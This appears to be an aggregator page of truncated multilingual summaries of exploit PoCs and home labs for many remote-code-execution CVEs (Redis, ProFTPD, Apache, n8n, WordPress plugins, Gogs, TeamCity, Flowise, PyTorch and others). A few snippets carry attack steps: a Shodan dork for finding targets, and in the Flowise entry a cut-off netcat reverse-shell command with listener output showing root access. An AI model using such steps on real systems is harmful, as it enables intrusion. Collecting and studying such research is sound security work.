CVE-2022-0543-Home-Lab

CVE-2022-0543 — Redis Lua サンドボックスエスケープ リモートコード実行 CVE‑2022‑0543 — Redis Lua サンドボックスエスケープとは？ この脆弱性は、Debian / Ubuntu パッケージでインストールされた Redis にのみ存在します。 Redis は動的モジュール lua-cjson、lua-bitop を含む Lua エンジンでコンパイルされているため、攻撃者は以下を呼び出すことができます: root@kitploit: package.loadlib これによりシステムの IO...

CVE-2015-3306-Home-Lab

ProFTPD 1.3.5 modcopy — RCE シミュレーションラボ このラボは、CVE-2015-3306 — ProFTPD modcopy Remote File Copy to RCE の脆弱性をシミュレートするために設計されています。 ProFTPD の modcopy モジュールを介した Web Shell Injection RCE の学習用です。 特徴 脆弱性のある ProFTPD 1.3.5 modcopy をフルで有効化 SITE CPFR / SITE CPTO Anonymous FTP に対応 Web ルート /var/www/html を再現する...

CVE-2021-41773

Apache HTTP Server 2.4.49 - パストラバーサル & RCE CVE-2021-41773 CVE-2021-41773 を対象とした、洗練された Python ベースの概念実証 PoC エクスプロイトです。このツールは、Apache 2.4.49 サーバーにおけるパストラバーサルおよびリモートコード実行 RCE の脆弱性をテストするプロセスを自動化します。 ⚠️ 法的免責事項 このツールは教育目的のみ...

n8n-CVE-2025-68613

🔥 n8n CVE-2025-68613 — リモートコード実行研究 このリポジトリには、n8nワークフロー自動化プラットフォームにおける重大なリモートコード実行脆弱性 CVE-2025-68613 に対する完全な脆弱性研究、悪用方法論、検知エンジニアリング、およびTryHackMeウォークスルーが含まれています。 📌 CVE概要 CVE ID: CVE-2025-68613 深刻度: 重大 CVSS 9.9 脆弱性タイプ: 式インジェクション → RCE 影響を受けるバージョン: 0.211.0 – 1.120.3 修正バージョン: 1.120.4+, 1.121.1+, 1.122....

CVE-2023-5360-exploit-with-native-libraries

Royal Elementor Addons ≤ 1.3.78 – 未经授权的任意文件上传 RCE 📌 概述 该仓库包含针对 WordPress 插件 Royal Elementor Addons and Templates （版本 ≤ 1.3.78 ）的 修改版概念验证漏洞利用 。 该漏洞允许 未经授权的任意文件上传 ，可被滥用以上传 PHP 文件并实现 远程代码执行 RCE 。 CVE : CVE-2023-5360 漏洞类型 : 未经授权的文件上传 → RCE 受影响插件 : Royal Elementor Addons and Templates 修复版本 : 1.3.79+ 🔧...

cve-2025-8110-GOGS-RCE

GOGS RCE cve-2025-8110 Gogs は軽量でセルフホスト可能な Git サービスであり、GitHub のプライベート版に似ています。低リソースのサーバーでも簡単に動作するように設計されています。CVE-2025-8110 の脆弱性は、シンボリックリンクを使用することでパス制限を回避できる重大なセキュリティ欠陥です。攻撃者は .api/config を指す悪意のあるリンクをアップロードすることで、gogs API を利用して sshCommand パラメータを含む悪意のある設定ファイルを埋め込み、ホストサーバー上で RCE を達成できます。 使用方法 1...

CVE-2025-13486-POC

CVE-2025-13486 概念実証 CVE-2025-13486 の概念実証 PoC エクスプロイトです。WordPress プラグイン Advanced Custom Fields: Extended ACFE のリモートコード実行脆弱性です。 脆弱性の概要 この脆弱性は、ACFE バージョン 0.9.0.5 から 0.9.1.1 に存在し、認証されていない攻撃者が acfe/form/renderformajax AJAX アクションを介して任意の PHP 関数を実行できるようにします。プラグインは、適切な検証なしにユーザーが指定した入力で calluserfuncarray...

CVE-2024-27198

CVE-2024-27198 JetBrains TeamCity 2023.11.4 より前のバージョンでは、認証バイパスにより TeamCity サーバー上で管理操作を実行できます。攻撃者はすべての TeamCity プロジェクト、ビルド、エージェント、成果物を完全に制御でき、最終的には RCE を実行します。 ダウンロード root@kitploit: git clone https://github.com/jrbH4CK/CVE-2024-27198.git cd CVE-2024-27198 PoC サーバー内に管理者権限を持つアカウントを作成するには:...

CVE-2026-39938

脆弱性レポート: Cacti グラフ画像における認証なしRCE 研究者: K | 製品: Cacti ≤ 1.2.30 | CVE: CVE-2026-39938 01 脆弱性概要...

Langflow-cve-2026-33017-exploit

Langflow RCE 利用框架 CVE-2026-33017 · 针对 Langflow 远程代码执行的授权安全测试 研究与红队工具 ，用于在明确授权评估的 Langflow 实例上验证 CVE-2026-33017。禁止未经授权使用。 免责声明 本项目仅 适用于： 授权渗透测试 受控实验/CTF 环境 防御性验证与补丁确认 未经授权访问计算机系统属违法行为。 您有责任遵守适用法律，并在测试任何目标前获得书面授权。作者不对滥用行为承担任何责任。 概述 用于评估可能受 CVE-2026-33017 影响的 Langflow 部署的异步 Python...

CVE-2024-13985

CVE-2024-13985 — Dahua EIMS capturehandle.action 远程代码执行 公告类型： 厂商协调的安全披露 · 已报告活跃利用 CVE ID： CVE-2024-13985 CNVD ID： CNVD-2024-17054 厂商： 浙江大华技术股份有限公司 产品： EIMS（企业信息管理系统） 发布时间： 2025-08-27T21:23:37 UTC 最后修改： 2026-05-15T11:14:33 UTC 来源：...

react2shell-exploit

🐺 React2Shell-Exploit-Kensei CVE-2025-55182 - Next.js RCE 远程代码执行 漏洞利用框架 + 漏洞环境 + Burp Suite 及 Nuclei 验证。 用于安全研究和渗透测试的完整利用框架与漏洞实验环境。 root@kitploit: ╔═══════════════════════════════════════════════════════════════╗ ║ 🐺 React2Shell-Exploit-Kensei 🐺 ║ ║ CVE-2025-55182 利用工具 ║ ║ ║ ║ 作者: Ruben Suxo - 道德...

primefaces

从餐桌到代码：通过餐厅POS系统中的RCE漏洞之旅 这一次，我们偶然发现了一个存在于多个餐厅POS应用程序中的漏洞 XETUX，后者是餐厅监控和自动化解决方案。在巴拿马，它是许多餐厅广泛使用的工具。 该漏洞是一个RCE（远程代码执行），允许攻击者在未经验证的情况下执行代码，并在目标系统上获得权限。 1. 枚举 我们发现Xetux应用程序中存在一个名为primefaces的库，该库用于生成PDF。于是，我们决定在Shodan中搜索以识别潜在目标。 root@kitploit: http.title:"@XETUX" country:PA 搜索结果显示40个结果，全球范围内有334个。...

check-react-rce-cve-2025-55182

React RCE 脆弱性スキャナー CVE-2025-55182 React Server Components（RSC）を使用する React および Next.js プロジェクトにおける CVE-2025-55182 および CVE-2025-66478 の脆弱性を検出する総合セキュリティスキャンツールです。 🚨 概要 このツールは、リモートコード実行（RCE） 攻撃に対して脆弱な React、Next.js、および関連する RSC パッケージのバージョンをプロジェクトからスキャンします。この脆弱性により、認証されていない攻撃者がサーバー上で任意のコードを実行できる可能性があります...

wp2shell-poc-fulljs

WordPress CVE 逻辑流程演示 概述 该项目允许复现与 CVE-2026-63030 和 CVE-2026-60137 相关的逻辑流程，该流程可导致 SQL 注入，并作为最终在 WordPress 中触发 RCE 的基础。 CVE-2026-63030 CVE-2026-60137 该演示展示了这些漏洞如何被串联利用以达到 SQL 注入 ，进而可作为在 WordPress 环境中触发远程代码执行（RCE）的垫脚石。 使用方法 只需在您常用的网页浏览器中打开 index.html 文件： root@kitploit: open index.html...

CVE-2025-32434

CVE-2025-32434：PyTorch远程代码执行漏洞 - PoC 什么是CVE-2025-32434？ CVE-2025-32434 是PyTorch中的一个严重远程代码执行（RCE）漏洞，PyTorch是深度学习和神经网络中广泛使用的Python库。 核心问题 该漏洞存在于torch.load函数中，即使使用了看似安全的weightsonly=True参数。weightsonly=True选项旨在通过仅允许加载模型参数来防止代码执行。然而，研究人员找到了一种绕过此保护的方法。 受影响版本 状态| 版本 ---|--- 有漏洞| PyTorch 2.5.1及更早版本 已修复|...

CVE-2026-0740

CVE-2026-0740 Ninja Forms File Uploads = 3.3.26 - 未认证的任意文件上传导致远程代码执行 针对 CVE-2026-0740 的利用脚本，该漏洞由 Selim Lanouar whattheslime 发现。 如需完整的技术深入分析，请阅读 Lexfo 博客上的完整文章。 免责声明 本仓库仅用于研究与防御性安全目的 。 作者不对滥用此信息的行为承担任何责任。 概述 WordPress 插件 Ninja Forms - File Uploads 存在未认证的任意文件上传 漏洞，可在所有版本（包括 3.3.26 及更早版本）中导致远程代码执行 。...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Flowise バージョン &1|nc 10.10.15.200 443 /tmp/f' リスナーを確認すると動作するはずです: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

CVE-2017-8046

免責事項： このリポジトリはVGSのブログ記事 「既知の脆弱性のあるコンポーネントの使用を回避する方法」 の補足資料です。既知のセキュリティ脆弱性（具体的には CVE-2017-8046）を含むアプリケーションと、 その悪用方法の説明が含まれています。アプリケーションの使用は自己責任で行ってください！ セットアップ まず、リポジトリのルートから次のコマンドを実行してアプリケーションを起動します。 root@kitploit: mvn clean spring-boot:run 次に、次のようなPOSTリクエストを送信してリソースを作成します。 root@kitploit: curl -X...

cve-2019-13132-lab

CVE-2019-13132 — desbordamiento de pila en CURVE INITIATE de libzmq → laboratorio RCE Exploit RCE funcional de extremo a extremo + laboratorio reproducible para CVE-2019-13132 , un desbordamiento de búfer de pila en el manejador del handshake CURVE INITIATE de libzmq. Un atacante que conozca la...